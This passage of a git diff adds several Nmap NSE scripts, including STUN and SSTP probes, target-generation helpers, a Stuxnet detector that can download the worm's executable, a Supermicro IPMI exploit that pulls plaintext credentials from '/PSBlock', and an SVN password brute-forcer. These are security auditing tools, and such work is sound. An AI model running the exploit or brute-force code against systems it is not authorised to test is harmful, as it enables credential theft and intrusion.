+-- Content-Length: 18446744073709551615
+-- Server: MikroTik-SSTP
+-- Date: Fri, 01 Nov 2013 00:00:00 GMT
+
+portrule = function(host, port)
+ return shortport.http(host, port) and shortport.ssl(host, port)
+end
+
+-- The SSTPCORRELATIONID GUID is optional and client-generated.
+-- The last 5 bytes are "Nmap!"
+local request =
+'SSTP_DUPLEX_POST /sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/ HTTP/1.1\r\n' ..
+'Host: %s\r\n' ..
+'SSTPCORRELATIONID: {5a433238-8781-11e3-b2e4-4e6d617021}\r\n' ..
+'Content-Length: 18446744073709551615\r\n\r\n'
+
+action = function(host, port)
+ local socket, response = comm.tryssl(host,port,
+ string.format(request, host.targetname or host.ip),
+ { timeout=3000, lines=4 })
+ if not socket then
+ stdnse.debug1("Problem establishing connection: %s", response)
+ return nil
+ end
+ socket:close()
+
+ if string.match(response, 'HTTP/1.1 200') then
+ return true, 'SSTP is supported.'
+ end
+ return nil
+end
diff --git a/scripts/stun-info.nse b/scripts/stun-info.nse
new file mode 100644
index 0000000..37438ef
--- /dev/null
+++ b/scripts/stun-info.nse
@@ -0,0 +1,49 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stun = require "stun"
+local stdnse = require "stdnse"
+
+description = [[
+Retrieves the external IP address of a NAT:ed host using the STUN protocol.
+]]
+
+---
+-- @usage
+-- nmap -sV -PN -sU -p 3478 --script stun-info <ip>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 3478/udp open|filtered stun
+-- | stun-info:
+-- |_ External IP: 80.216.42.106
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+portrule = shortport.port_or_service(3478, "stun", "udp")
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+ local helper = stun.Helper:new(host, port)
+ local status = helper:connect()
+ if ( not(status) ) then
+ return fail("Failed to connect to server")
+ end
+
+ local status, result = helper:getExternalAddress()
+ if ( not(status) ) then
+ return fail("Failed to retrieve external IP")
+ end
+
+ port.version.name = "stun"
+ nmap.set_port_state(host, port, "open")
+ nmap.set_port_version(host, port)
+
+ if ( result ) then
+ return "\n External IP: " .. result
+ end
+end
diff --git a/scripts/stun-version.nse b/scripts/stun-version.nse
new file mode 100644
index 0000000..679b586
--- /dev/null
+++ b/scripts/stun-version.nse
@@ -0,0 +1,44 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stun = require "stun"
+local stdnse = require "stdnse"
+
+description = [[
+Sends a binding request to the server and attempts to extract version
+information from the response, if the server attribute is present.
+]]
+
+---
+-- @usage
+-- nmap -sU -sV -p 3478 <target>
+-- @output
+-- PORT STATE SERVICE VERSION
+-- 3478/udp open stun Vovida.org 0.96
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"version"}
+
+
+portrule = shortport.version_port_or_service(3478, "stun", "udp")
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+ local helper = stun.Helper:new(host, port)
+ local status = helper:connect()
+ if ( not(status) ) then
+ return fail("Failed to connect to server")
+ end
+
+ local status, result = helper:getVersion()
+ if ( not(status) ) then
+ return fail("Failed to retrieve external IP")
+ end
+
+ port.version.name = "stun"
+ port.version.product = result
+ nmap.set_port_state(host, port, "open")
+ nmap.set_port_version(host, port)
+end
diff --git a/scripts/stuxnet-detect.nse b/scripts/stuxnet-detect.nse
new file mode 100644
index 0000000..800dbc6
--- /dev/null
+++ b/scripts/stuxnet-detect.nse
@@ -0,0 +1,119 @@
+local io = require "io"
+local msrpc = require "msrpc"
+local smb = require "smb"
+local stdnse = require "stdnse"
+local stringaux = require "stringaux"
+
+-- -*- mode: lua -*-
+-- vim: set filetype=lua :
+
+description = [[
+Detects whether a host is infected with the Stuxnet worm (http://en.wikipedia.org/wiki/Stuxnet).
+
+An executable version of the Stuxnet infection will be downloaded if a format
+for the filename is given on the command line.
+]]
+
+---
+-- @usage
+-- nmap --script stuxnet-detect -p 445 <host>
+--
+-- @args stuxnet-detect.save Path to save Stuxnet executable under, with
+-- <code>%h</code> replaced by the host's IP address, and <code>%v</code>
+-- replaced by the version of Stuxnet.
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 445/tcp open microsoft-ds syn-ack
+--
+-- Host script results:
+-- |_stuxnet-detect: INFECTED (version 4c:04:00:00:01:00:00:00)
+--
+-- @see smb-vuln-ms10-061.nse
+
+author = "Mak Kolybabi"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "intrusive"}
+
+
+local STUXNET_PATHS = {"\\\\browser", "\\\\ntsvcs", "\\\\pipe\\browser", "\\\\pipe\\ntsvcs"}
+local STUXNET_UUID = "\xe1\x04\x02\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46"
+local STUXNET_VERSION = 0x01
+
+local RPC_GET_VERSION = 0x00
+local RPC_GET_EXECUTABLE = 0x04
+
+local function check_infected(host, path, save)
+ local file, result, session, status, version
+
+ -- Create an SMB session.
+ status, session = msrpc.start_smb(host, path)
+ if not status then
+ stdnse.debug1("Failed to establish session on %s.", path)
+ return false, nil
+ end
+
+ -- Bind to the Stuxnet service.
+ status, result = msrpc.bind(session, STUXNET_UUID, STUXNET_VERSION, nil)
+ if not status or result["ack_result"] ~= 0 then
+ stdnse.debug1("Failed to bind to Stuxnet service.")
+ msrpc.stop_smb(session)
+ return false, nil
+ end
+
+ -- Request version of Stuxnet infection.
+ status, result = msrpc.call_function(session, RPC_GET_VERSION, "")
+ if not status then
+ stdnse.debug1("Failed to retrieve Stuxnet version: %s", result)
+ msrpc.stop_smb(session)
+ return false, nil
+ end
+ version = stdnse.tohex(result.arguments, {separator = ":"})
+
+ -- Request executable of Stuxnet infection.
+ if save then
+ local file, fmt
+
+ status, result = msrpc.call_function(session, RPC_GET_EXECUTABLE, "")
+ if not status then
+ stdnse.debug1("Failed to retrieve Stuxnet executable: %s", result)
+ msrpc.stop_smb(session)
+ return true, version
+ end
+
+ fmt = save:gsub("%%h", host.ip)
+ fmt = fmt:gsub("%%v", version)
+ file = io.open(stringaux.filename_escape(fmt), "w")
+ if file then
+ stdnse.debug1("Wrote %d bytes to file %s.", #result.arguments, fmt)
+ file:write(result.arguments)
+ file:close()
+ else
+ stdnse.debug1("Failed to open file: %s", fmt)
+ end
+ end
+
+ -- Destroy the SMB session
+ msrpc.stop_smb(session)
+
+ return true, version
+end
+
+hostrule = function(host)
+ return (smb.get_port(host) ~= nil)
+end
+
+action = function(host, port)
+ local _, path, result, save, status
+
+ -- Get script arguments.
+ save = stdnse.get_script_args("stuxnet-detect.save")
+
+ -- Try to find Stuxnet on this host.
+ for _, path in pairs(STUXNET_PATHS) do
+ status, result = check_infected(host, path, save)
+ if status then
+ return "INFECTED (version " .. result .. ")"
+ end
+ end
+end
diff --git a/scripts/supermicro-ipmi-conf.nse b/scripts/supermicro-ipmi-conf.nse
new file mode 100644
index 0000000..77e1b29
--- /dev/null
+++ b/scripts/supermicro-ipmi-conf.nse
@@ -0,0 +1,99 @@
+description = [[
+Attempts to download an unprotected configuration file containing plain-text
+user credentials in vulnerable Supermicro Onboard IPMI controllers.
+
+The script connects to port 49152 and issues a request for "/PSBlock" to
+download the file. This configuration file contains users with their passwords
+in plain text.
+
+References:
+* http://blog.cari.net/carisirt-yet-another-bmc-vulnerability-and-some-added-extras/
+* https://community.rapid7.com/community/metasploit/blog/2013/07/02/a-penetration-testers-guide-to-ipmi
+]]
+
+---
+-- @usage nmap -p49152 --script supermicro-ipmi-conf <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 49152/tcp open unknown syn-ack
+-- | supermicro-ipmi-conf:
+-- | VULNERABLE:
+-- | Supermicro IPMI/BMC configuration file disclosure
+-- | State: VULNERABLE (Exploitable)
+-- | Description:
+-- | Some Supermicro IPMI/BMC controllers allow attackers to download
+-- | a configuration file containing plain text user credentials. This credentials may be used to log in to the administrative interface and the
+-- | network's Active Directory.
+-- | Disclosure date: 2014-06-19
+-- | Extra information:
+-- | Snippet from configuration file:
+-- | .............31spring.............\x14..............\x01\x01\x01.\x01......\x01ADMIN...........ThIsIsApAsSwOrD.............T.T............\x01\x01\x01.\x01......\x01ipmi............w00t!.............\x14.............
+-- | Configuration file saved to 'xxx.xxx.xxx.xxx_bmc.conf'
+-- |
+-- | References:
+-- |_ http://blog.cari.net/carisirt-yet-another-bmc-vulnerability-and-some-added-extras/
+--
+-- @args supermicro-ipmi-conf.out Output file to store configuration file. Default: <ip>_bmc.conf
+---
+
+author = "Paulino Calderon <calderon () websec mx>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit","vuln"}
+
+local http = require "http"
+local io = require "io"
+local shortport = require "shortport"
+local string = require "string"
+local vulns = require "vulns"
+local stdnse = require "stdnse"
+
+portrule = shortport.portnumber(49152, "tcp")
+
+---
+--Writes string to file
+local function write_file(filename, contents)
+ local f, err = io.open(filename, "w")
+ if not f then
+ return f, err
+ end
+ f:write(contents)
+ f:close()
+ return true
+end
+
+action = function(host, port)
+ local fw = stdnse.get_script_args(SCRIPT_NAME..".out") or host.ip.."_bmc.conf"
+ local vuln = {
+ title = 'Supermicro IPMI/BMC configuration file disclosure',
+ state = vulns.STATE.NOT_VULN,
+ description = [[
+Some Supermicro IPMI/BMC controllers allow attackers to download
+ a configuration file containing plain text user credentials. This credentials may be used to log in to the administrative interface and the
+network's Active Directory.]],
+ references = {
+ 'http://blog.cari.net/carisirt-yet-another-bmc-vulnerability-and-some-added-extras/',
+ },
+ dates = {
+ disclosure = {year = '2014', month = '06', day = '19'},
+ },
+ }
+
+ local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
+ local open_session = http.get(host, port, "/PSBlock")
+ if open_session and open_session.status ==200 and string.len(open_session.body)>200 then
+ local s = open_session.body:gsub("%z", ".")
+ vuln.state = vulns.STATE.EXPLOIT
+ local status, err = write_file(fw,s)
+ local extra_info
+ if status then
+ extra_info = string.format("\nConfiguration file saved to '%s'\n", fw)
+ else
+ extra_info = ''
+ stdnse.debug(1, "Error saving configuration file to '%s': %s\n", fw, err)
+ end
+
+ vuln.extra_info = "Snippet from configuration file:\n"..string.sub(s, 25, 200)..extra_info
+ end
+ return vuln_report:make_output(vuln)
+end
diff --git a/scripts/svn-brute.nse b/scripts/svn-brute.nse
new file mode 100644
index 0000000..4c0aaf8
--- /dev/null
+++ b/scripts/svn-brute.nse
@@ -0,0 +1,273 @@
+local brute = require "brute"
+local creds = require "creds"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local stringaux = require "stringaux"
+local openssl = stdnse.silent_require "openssl"
+
+description = [[
+Performs brute force password auditing against Subversion source code control servers.
+]]
+
+---
+-- @usage
+-- nmap --script svn-brute --script-args svn-brute.repo=/svn/ -p 3690 <host>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 3690/tcp open svn syn-ack
+-- | svn-brute:
+-- | Accounts
+-- |_ patrik:secret => Login correct
+--
+-- Summary
+-- -------
+-- x The svn class contains the code needed to perform CRAM-MD5
+-- authentication
+-- x The Driver class contains the driver implementation used by the brute
+-- library
+--
+-- @args svn-brute.repo the Subversion repository against which to perform
+-- password guessing
+-- @args svn-brute.force force password guessing when service is accessible
+-- both anonymously and through authentication
+
+--
+-- Version 0.1
+-- Created 07/12/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+--
+
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+portrule = shortport.port_or_service(3690, "svnserve", "tcp", "open")
+
+svn =
+{
+ svn_client = "nmap-brute v0.1",
+
+ new = function(self, host, port, repo)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ o.repo = repo
+ o.invalid_users = {}
+ return o
+ end,
+
+ --- Connects to the SVN - repository
+ --
+ -- @return status true on success, false on failure
+ -- @return err string containing an error message on failure
+ connect = function(self)
+ local repo_url = ( "svn://%s/%s" ):format(self.host.ip, self.repo)
+ local status, msg
+
+ self.socket = brute.new_socket()
+
+ local result
+ status, result = self.socket:connect(self.host, self.port)
+ if( not(status) ) then
+ return false, result
+ end
+
+ status, msg = self.socket:receive_bytes(1)
+ if ( not(status) or not( msg:match("^%( success") ) ) then
+ return false, "Banner reports failure"
+ end
+
+ msg = ("( 2 ( edit-pipeline svndiff1 absent-entries depth mergeinfo log-revprops ) %d:%s %d:%s ( ) ) "):format( #repo_url, repo_url, #self.svn_client, self.svn_client )
+ status = self.socket:send( msg )
+ if ( not(status) ) then
+ return false, "Send failed"
+ end
+
+ status, msg = self.socket:receive_bytes(1)
+ if ( not(status) ) then
+ return false, "Receive failed"
+ end
+
+ if ( msg:match("%( success") ) then
+ local tmp = msg:match("%( success %( %( ([%S+%s*]-) %)")
+ if ( not(tmp) ) then return false, "Failed to detect authentication" end
+ tmp = stringaux.strsplit(" ", tmp)
+ self.auth_mech = {}
+ for _, v in pairs(tmp) do self.auth_mech[v] = true end
+ elseif ( msg:match("%( failure") ) then
+ return false
+ end
+
+ return true
+ end,
+
+ --- Attempts to login to the SVN server
+ --
+ -- @param username string containing the login username
+ -- @param password string containing the login password
+ -- @return status, true on success, false on failure
+ -- @return err string containing error message on failure
+ login = function( self, username, password )
+ local status, msg
+ local challenge, digest
+
+ if ( self.auth_mech["CRAM-MD5"] ) then
+ msg = "( CRAM-MD5 ( ) ) "
+ status = self.socket:send( msg )
+
+ status, msg = self.socket:receive_bytes(1)
+ if ( not(status) ) then
+ return false, "error"
+ end
+
+ challenge = msg:match("<.+>")
+
+ if ( not(challenge) ) then
+ return false, "Failed to read challenge"
+ end
+
+ digest = stdnse.tohex(openssl.hmac('md5', password, challenge))
+ msg = ("%d:%s %s "):format(#username + 1 + #digest, username, digest)
+ self.socket:send( msg )
+
+ status, msg = self.socket:receive_bytes(1)
+ if ( not(status) ) then
+ return false, "error"
+ end
+
+ if ( msg:match("Username not found") ) then
+ return false, "Username not found"
+ elseif ( msg:match("success") ) then
+ return true, "Authentication success"
+ else
+ return false, "Authentication failed"
+ end
+ else
+ return false, "Unsupported auth-mechanism"
+ end
+
+ end,
+
+ --- Close the SVN connection
+ --
+ -- @return status true on success, false on failure
+ close = function(self)
+ return self.socket:close()
+ end,
+
+}
+
+
+Driver =
+{
+ new = function(self, host, port, invalid_users )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ o.repo = stdnse.get_script_args('svn-brute.repo')
+ o.invalid_users = invalid_users
+ return o
+ end,
+
+ connect = function( self )
+ local status, msg
+
+ self.svn = svn:new( self.host, self.port, self.repo )
+ status, msg = self.svn:connect()
+ if ( not(status) ) then
+ local err = brute.Error:new( "Failed to connect to SVN server" )
+ -- This might be temporary, set the retry flag
+ err:setRetry( true )
+ return false, err
+ end
+
+ return true
+ end,
+
+ disconnect = function( self )
+ self.svn:close()
+ end,
+
+ --- Attempts to login to the SVN server
+ --
+ -- @param username string containing the login username
+ -- @param password string containing the login password
+ -- @return status, true on success, false on failure
+ -- @return brute.Error object on failure
+ -- creds.Account object on success
+ login = function( self, username, password )
+ local status, msg
+
+ if ( self.invalid_users[username] ) then
+ return false, brute.Error:new( "User is invalid" )
+ end
+
+ status, msg = self.svn:login( username, password )
+
+ if ( not(status) and msg:match("Username not found") ) then
+ self.invalid_users[username] = true
+ return false, brute.Error:new("Username not found")
+ elseif ( status and msg:match("success") ) then
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ else
+ return false, brute.Error:new( "Incorrect password" )
+ end
+ end,
+
+ --- Verifies whether the repository is valid
+ --
+ -- @return status, true on success, false on failure
+ -- @return err string containing an error message on failure
+ check = function( self )
+ local svn = svn:new( self.host, self.port, self.repo )
+ local status = svn:connect()
+
+ svn:close()
+
+ if ( status ) then
+ return true
+ else
+ return false, ("Failed to connect to SVN repository (%s)"):format(self.repo)
+ end
+ end,
+}
+
+
+
+action = function(host, port)
+ local status, accounts
+
+ local repo = stdnse.get_script_args('svn-brute.repo')
+ local force = stdnse.get_script_args('svn-brute.force')
+
+ if ( not(repo) ) then
+ return "No repository specified (see svn-brute.repo)"
+ end
+
+ local svn = svn:new( host, port, repo )
+ local status = svn:connect()
+
+ if ( status and svn.auth_mech["ANONYMOUS"] and not(force) ) then
+ return " \n Anonymous SVN detected, no authentication needed"
+ end
+
+ if ( not(svn.auth_mech) or not( svn.auth_mech["CRAM-MD5"] ) ) then
+ return " \n No supported authentication mechanisms detected"
+ end
+
+ local invalid_users = {}
+ local engine = brute.Engine:new(Driver, host, port, invalid_users)
+ engine.options.script_name = SCRIPT_NAME
+ status, accounts = engine:start()
+ if( not(status) ) then
+ return accounts
+ end
+
+ return accounts
+end
diff --git a/scripts/targets-asn.nse b/scripts/targets-asn.nse
new file mode 100644
index 0000000..1002e0b
--- /dev/null
+++ b/scripts/targets-asn.nse
@@ -0,0 +1,101 @@
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local stringaux = require "stringaux"
+local table = require "table"
+local target = require "target"
+
+description = [[
+Produces a list of IP prefixes for a given routing AS number (ASN).
+
+This script uses a whois server database operated by the Shadowserver
+Foundation. We thank them for granting us permission to use this in
+Nmap.
+
+Output is in CIDR notation.
+
+http://www.shadowserver.org/wiki/pmwiki.php/Services/IP-BGP
+]]
+
+---
+-- @args targets-asn.asn The ASN to search.
+-- @args targets-asn.whois_server The whois server to use. Default: asn.shadowserver.org.
+-- @args targets-asn.whois_port The whois port to use. Default: 43.
+--
+-- @usage
+-- nmap --script targets-asn --script-args targets-asn.asn=32
+--
+-- @output
+-- Pre-scan script results:
+-- | targets-asn:
+-- | 32
+-- | 128.12.0.0/16
+-- |_ 171.64.0.0/14
+
+author = "John R. Bond"
+license = "Simplified (2-clause) BSD license--See https://nmap.org/svn/docs/licenses/BSD-simplified"
+
+categories = {"discovery", "external", "safe"}
+
+
+prerule = function()
+ return true
+end
+
+action = function(host, port)
+ local asns, whois_server, whois_port, err, status, newtargets
+ local results = {}
+
+ asns = stdnse.get_script_args('targets-asn.asn') or stdnse.get_script_args('asn-to-prefix.asn')
+ whois_server = stdnse.get_script_args('targets-asn.whois_server') or stdnse.get_script_args('asn-to-prefix.whois_server')
+ whois_port = stdnse.get_script_args('targets-asn.whois_port') or stdnse.get_script_args('asn-to-prefix.whois_port')
+
+ if not asns then
+ return stdnse.format_output(true, "targets-asn.asn is a mandatory parameter")
+ end
+ if not whois_server then
+ whois_server = "asn.shadowserver.org"
+ end
+ if not whois_port then
+ whois_port = 43
+ end
+ if type(asns) ~= "table" then
+ asns = {asns}
+ end
+
+ for _, asn in ipairs(asns) do
+ local socket = nmap.new_socket()
+
+ local prefixes = {}
+ prefixes['name'] = asn
+
+ status, err = socket:connect(whois_server, whois_port)
+ if ( not(status) ) then
+ table.insert(prefixes, err)
+ else
+ status, err = socket:send("prefix " .. asn .. "\n")
+ if ( not(status) ) then
+ table.insert(prefixes, err)
+ else
+ while true do
+ local status, data = socket:receive_lines(1)
+ if ( not(status) ) then
+ table.insert(prefixes, err)
+ break
+ else
+ for i, prefix in ipairs(stringaux.strsplit("\n",data)) do
+ if ( #prefix > 1 ) then
+ table.insert(prefixes,prefix)
+ if target.ALLOW_NEW_TARGETS then
+ stdnse.debug1("Added targets: "..prefix)
+ local status,err = target.add(prefix)
+ end
+ end
+ end
+ end
+ end
+ end
+ end
+ table.insert(results,prefixes)
+ end
+ return stdnse.format_output(true, results)
+end
diff --git a/scripts/targets-ipv6-map4to6.nse b/scripts/targets-ipv6-map4to6.nse
new file mode 100644
index 0000000..f588e75
--- /dev/null
+++ b/scripts/targets-ipv6-map4to6.nse
@@ -0,0 +1,247 @@
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+local target = require "target"
+
+description = [[
+This script runs in the pre-scanning phase to map IPv4 addresses onto IPv6
+networks and add them to the scan queue.
+
+The technique is more general than what is technically termed "IPv4-mapped IPv6
+addresses." The lower 4 bytes of the IPv6 network address are replaced with the
+4 bytes of IPv4 address. When the IPv6 network is ::ffff:0:0/96, then the
+script generates IPv4-mapped IPv6 addresses. When the network is ::/96, then it
+generates IPv4-compatible IPv6 addresses.
+]]
+
+---
+-- @usage
+-- nmap -6 --script targets-ipv6-map4to6 --script-args newtargets,targets-ipv6-map4to6.IPv4Hosts={192.168.1.0/24},targets-ipv6-subnet={2001:db8:c0ca::/64}
+--
+-- @output
+-- Pre-scan script results:
+-- | targets-ipv6-map4to6:
+-- | node count: 256
+-- | addresses:
+-- |_ 2001:db8:c0ca:0:0:0:c0a8:100/120
+--
+-- @args targets-ipv6-map4to6.IPv4Hosts This must have at least one IPv4
+-- Host for the script be able to work
+-- (Ex. 192.168.1.1 or
+-- { 192.168.1.1, 192.168.2.2 } ) or Subnet
+-- Addresses ( 192.168.1.0/24 or
+-- { 192.168.1.0/24, 192.168.2.0/24 } )
+--
+-- @args targets-ipv6-subnet Table/single IPv6 address with prefix
+-- (Ex. 2001:db8:c0ca::/48 or
+-- { 2001:db8:c0ca::/48, 2001:db8:FEA::/48 })
+--
+-- @xmloutput
+-- <elem key="node count">256</elem>
+-- <table key="addresses">
+-- <elem>2001:db8:c0ca:0:0:0:c0a8:100/120</elem>
+-- </table>
+
+--
+-- Version 1.4
+-- Update 01/12/2014 - V 1.4 Update for inclusion in Nmap by Daniel Miller
+-- Update 05/05/2014 - V 1.3 Eliminate the Host phase.
+-- Update 05/05/2014 - V 1.2 Minor corrections and standardization.
+-- Update 18/10/2013 - V 1.1 Added SaveMemory option
+-- Update 29/03/2013 - V 1.0 Functional script
+-- Created 28/03/2013 - v0.1 Created by Raúl Fuentes <ra.fuentess.sam+nmap@gmail.com>
+--
+
+author = "Raúl Armando Fuentes Samaniego"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {
+ "discovery",
+}
+
+local function split_prefix (net)
+ local split = stringaux.strsplit("/", net)
+ return split[1], tonumber(split[2])
+end
+---
+-- This function will add all the list of IPv4 host to IPv6
+--
+-- The most normal is returning X:X:X:X::Y.Y.Y.Y/128
+-- The conversion is going to be totally IPv6 syntax (we are going to
+-- concatenate strings).
+-- @param IPv6_Network A IPv6 Address ( X:X:X:X::/YY )
+-- @param IPv4SHosts A IPv4 String can be: X.X.X.X or X.X.X.X/YY
+-- @param addr_table A table to hold the generated addresses.
+-- @return Number Total successfully nodes added to the scan.
+-- @return Error A warning if something happened. (Nil otherwise)
+local From_4_to_6 = function (IPv6_Network, IPv4SHosts, addr_table)
+
+ --We check if the PRefix are OK, anything less than 96 is fine
+ local v6_base, IPv6_Prefix = split_prefix(IPv6_Network)
+ if IPv6_Prefix > 96 then
+ return 0, string.format("The IPv6 subnet %s can't support a direct Mapping 4 to 6.", IPv6_Network)
+ end
+
+ local sBin6, sError = ipOps.ip_to_bin(v6_base)
+ if sBin6 == nil then
+ return 0, sError
+ end
+
+ -- two options: String or Table, the bes thing to do: make string Table
+ local tTabla
+ if type(IPv4SHosts) == "table" then
+ tTabla = IPv4SHosts
+ else
+ tTabla = { IPv4SHosts }
+ end
+
+ stdnse.debug1("Total IPv4 objects to analyze: %d for IPv6 subnet %s",
+ #tTabla, IPv6_Network)
+
+ local iTotal = 0
+ for _, Host in ipairs(tTabla) do
+
+
+ stdnse.debug2("IPv4 Object: %s", Host)
+
+ local v4base, prefix = split_prefix(Host)
+
+ local sBin4
+ sBin4, sError = ipOps.ip_to_bin(v4base)
+ if sBin4 == nil then
+ return 0, sError
+ end
+
+ local IPAux
+ IPAux, sError = ipOps.bin_to_ip(sBin6:sub(1, 96) .. sBin4)
+ if prefix then
+ prefix = prefix + (128 - 32) -- adjust for different address lengths
+ IPAux = string.format("%s/%d", IPAux, prefix)
+ else
+ prefix = 128
+ end
+
+ stdnse.debug2("IPv6 address: %s", IPAux)
+
+ addr_table[#addr_table+1] = IPAux
+ if target.ALLOW_NEW_TARGETS then
+ local bool
+ bool, sError = target.add(IPAux)
+ if bool then
+ iTotal = iTotal + 2^(128 - prefix)
+ else
+ stdnse.debug1("Error adding node %s: %s", IPAux, sError)
+ end
+ else
+ iTotal = iTotal + 2^(128 - prefix)
+ end
+
+ end
+
+ return iTotal
+end
+
+local IPv4Sub = stdnse.get_script_args(SCRIPT_NAME .. ".IPv4Hosts")
+local IPv6User = stdnse.get_script_args("targets-ipv6-subnet")
+---
+-- We populated the host discovery list.
+local Prescanning = function ()
+
+ local errors = {}
+ local tSalida = {
+ Nodos = 0,
+ addrs = {},
+ }
+ local Grantotal = 0
+
+ stdnse.debug2("Beginning the work.")
+
+ if type(IPv6User) == "string" then
+ IPv6User = { IPv6User }
+ end
+
+ -- TODO: Gather IPv6 subnets from other sources.
+ -- This was implemented in the original version of the script, but stripped
+ -- for now until the other scripts are integrated.
+ -- http://seclists.org/nmap-dev/2013/q4/285
+ for _, IPv6_Subnet in ipairs(IPv6User) do
+ stdnse.debug1("Processing %s", IPv6_Subnet)
+ local IPv6Host, sError = From_4_to_6(IPv6_Subnet, IPv4Sub, tSalida.addrs)
+ if sError ~= nil then
+ stdnse.debug1( "ERROR: One IPv6 subnet wasn't translated")
+ errors[#errors+1] = sError
+ end
+ if IPv6Host then
+ -- We need to concatenate the new nodes
+ Grantotal = Grantotal + IPv6Host
+ end
+ end
+
+ tSalida.Nodos = Grantotal
+ if #errors > 0 then
+ tSalida.Error = table.concat(errors, "\n")
+ end
+ return true, tSalida
+end
+
+---
+-- The script need to be working with IPv6
+--
+--(To bad can't do it with both at same time )
+function prerule ()
+
+ if not (nmap.address_family() == "inet6") then
+ stdnse.verbose1("This script is IPv6 only.")
+ return false
+ end
+
+ -- Because Nmap current limitation of working ONE single IP family we must
+ -- be sure to have everything for work the Mapped IPv4 to IPv6
+ if IPv4Sub == nil then
+ stdnse.verbose1( "There are no IPv4 addresses to map!\z
+ You must provide it using the %s.IPv4Hosts script-arg.", SCRIPT_NAME)
+ return false
+ end
+
+ -- Now we need to have based IPv6 Prefix, the most important is the previous
+ -- known but we have a last-option too .
+ if IPv6User == nil then
+ stdnse.verbose1("There are no IPv6 subnets to scan!\z
+ You must provide it using the targets-ipv6-subnet script-arg.")
+ return false
+ end
+
+ return true
+end
+
+function action ()
+ --Vars for created the final report
+ local tOutput = stdnse.output_table()
+ local bExito = false
+ local tSalida
+
+ bExito, tSalida = Prescanning()
+
+ -- Now we adapt the exit to tOutput and add the hosts to the target!
+ tOutput.warning = tSalida.Error
+
+ if bExito then
+ --Final report of the Debug Lvl of Prescanning
+ stdnse.debug1("Successful Mapped IPv4 to IPv6 added to the scan: %d",
+ tSalida.Nodos)
+
+ tOutput["node count"] = tSalida.Nodos
+ tOutput["addresses"] = tSalida.addrs
+
+ if tSalida.Error then
+ stdnse.debug1("Warnings: %s", tSalida.Error)
+ end
+ else
+ stdnse.debug1("Was unable to add nodes to the scan list due this error: %s",
+ tSalida.Error)
+ end
+
+ return tOutput
+end
diff --git a/scripts/targets-ipv6-multicast-echo.nse b/scripts/targets-ipv6-multicast-echo.nse
new file mode 100644
index 0000000..adf3459
--- /dev/null
+++ b/scripts/targets-ipv6-multicast-echo.nse
@@ -0,0 +1,170 @@
+local coroutine = require "coroutine"
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local packet = require "packet"
+local stdnse = require "stdnse"
+local tab = require "tab"
+local table = require "table"
+local target = require "target"
+
+description = [[
+Sends an ICMPv6 echo request packet to the all-nodes link-local
+multicast address (<code>ff02::1</code>) to discover responsive hosts
+on a LAN without needing to individually ping each IPv6 address.
+]]
+
+---
+-- @usage
+-- ./nmap -6 --script=targets-ipv6-multicast-echo.nse --script-args 'newtargets,interface=eth0' -sL
+-- @output
+-- Pre-scan script results:
+-- | targets-ipv6-multicast-echo:
+-- | IP: 2001:0db8:0000:0000:0000:0000:0000:0001 MAC: 11:22:33:44:55:66 IFACE: eth0
+-- |_ Use --script-args=newtargets to add the results as targets
+-- @args newtargets If true, add discovered targets to the scan queue.
+-- @args targets-ipv6-multicast-echo.interface The interface to use for host discovery.
+
+author = {"David Fifield", "Xu Weilin"}
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"discovery","broadcast"}
+
+
+prerule = function()
+ return nmap.is_privileged()
+end
+
+local function get_interfaces()
+ local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
+ or nmap.get_interface()
+
+ -- interfaces list (decide which interfaces to broadcast on)
+ local interfaces = {}
+ if interface_name then
+ -- single interface defined
+ local if_table = nmap.get_interface_info(interface_name)
+ if if_table and ipOps.ip_to_str(if_table.address) and if_table.link == "ethernet" then
+ interfaces[#interfaces + 1] = if_table
+ else
+ stdnse.debug1("Interface not supported or not properly configured.")
+ end
+ else
+ for _, if_table in ipairs(nmap.list_interfaces()) do
+ if ipOps.ip_to_str(if_table.address) and if_table.link == "ethernet" then
+ table.insert(interfaces, if_table)
+ end
+ end
+ end
+
+ return interfaces
+end
+
+local function single_interface_broadcast(if_nfo, results)
+ stdnse.debug1("Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
+
+ local condvar = nmap.condvar(results)
+ local src_mac = if_nfo.mac
+ local src_ip6 = ipOps.ip_to_str(if_nfo.address)
+ local dst_mac = packet.mactobin("33:33:00:00:00:01")
+ local dst_ip6 = ipOps.ip_to_str("ff02::1")
+
+ ----------------------------------------------------------------------------
+ --Multicast echo ping probe
+
+ local dnet = nmap.new_dnet()
+ local pcap = nmap.new_socket()
+
